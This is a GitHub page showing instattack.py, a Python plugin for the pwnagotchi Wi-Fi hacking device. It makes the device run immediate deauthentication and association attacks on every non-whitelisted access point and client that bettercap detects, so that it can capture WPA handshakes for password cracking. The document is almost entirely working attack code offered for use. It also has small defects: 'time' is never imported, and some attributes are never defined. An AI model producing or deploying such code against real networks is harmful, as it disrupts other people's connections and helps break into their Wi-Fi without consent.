forked from Sniffleupagus/pwnagotchi_plugins
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathinstattack.py
More file actions
103 lines (87 loc) · 3.91 KB
/
instattack.py
File metadata and controls
103 lines (87 loc) · 3.91 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import logging
import pwnagotchi.plugins as plugins
class instattack(plugins.Plugin):
__author__ = '129890632+Sniffleupagus@users.noreply.github.com'
__version__ = '1.0.0'
__license__ = 'GPL3'
__description__ = 'Pwn more aggressively. Launch immediate associate or deauth attack when bettercap spots a device.'
def __init__(self):
logging.debug("instattack plugin created")
self._agent = None
self.old_name = None
self.recents = {}
# called before the plugin is unloaded
def on_unload(self, ui):
if self.old_name:
ui.set('name', "%s " % self.old_name)
else:
ui.set('name', "%s> " % ui.get('name')[:-3])
self.old_name = None
logging.info("instattack out.")
# called to setup the ui elements
def on_ui_setup(self, ui):
self._ui = ui
def on_ui_update(self, ui):
if self.old_name == None:
self.old_name = ui.get('name')
if self.old_name:
i = self.old_name.find('>')
if i:
ui.set('name', "%s%s" % (self.old_name[:i], "!!!"))
# called when everything is ready and the main loop is about to start
def on_ready(self, agent):
self._agent = agent
logging.info("instattack attack!")
agent.run("wifi.clear")
if self._ui:
self._ui.set("status", "Be aggressive!\nBE BE AGGRESSIVE!")
# REQUIRES: https://github.com/evilsocket/pwnagotchi/pull/1192
#
# PR to pass on all bettercap events to interested plugins. bettercap event
# name is used to make an "on_" handler to plugins, like below.
def track_recent(self, ap, cl=None):
ap['_track_time'] = time.time()
self.recents[ap['mac'].lower()] = ap
if cl:
cl['_track_time'] = ap['_track_time']
self.recents[cl['mac'].lower()] = cl
def ok_to_attack(self, ap):
if not self._agent:
return False
whitelist = list(map(lambda x: x.lower(), self._agent._config['main']['whitelist']))
return ap['hostname'].lower() not in whitelist \
and ap['mac'].lower() not in whitelist \
and ap['mac'][:8].lower() not in whitelist
def on_bcap_wifi_ap_new(self, agent, event):
try:
ap = event['data']
if agent._config['personality']['associate'] and self.ok_to_attack(ap):
logging.debug("insta-associate: %s (%s)" % (ap['hostname'], ap['mac']))
agent.associate(ap, 0.3)
except Exception as e:
logging.error(repr(e))
def on_bcap_wifi_client_new(self, agent, event):
try:
ap = event['data']['AP']
cl = event['data']['Client']
if agent._config['personality']['deauth'] and self.ok_to_attack(ap) and self.ok_to_attack(cl):
logging.debug("insta-deauth: %s (%s)->'%s'(%s)(%s)" % (ap['hostname'], ap['mac'],
cl['hostname'], cl['mac'], cl['vendor']))
agent.deauth(ap, cl, 0.75)
except Exception as e:
logging.error(repr(e))
def on_handshake(self, agent, filename, ap, cl):
logging.info("insta-shake? %s" % ap['mac'])
if 'mac' in ap and 'mac' in cl:
amac = ap['mac'].lower()
cmac = cl['mac'].lower()
if amac in self.recents:
logging.info("insta-shake!!! %s (%s)->'%s'(%s)(%s)" % (ap['hostname'], ap['mac'],
cl['hostname'], cl['mac'], cl['vendor']))
del self.recents[amac]
if cmac in self.recents:
del self.recents[cmac]
def on_epoch(self, agent, epoch, epoch_data):
for mac in self.recents:
if self.recents[mac]['_track_time'] < (time.time() - (self.epoch_duration * 2)):
del self.recents[mac]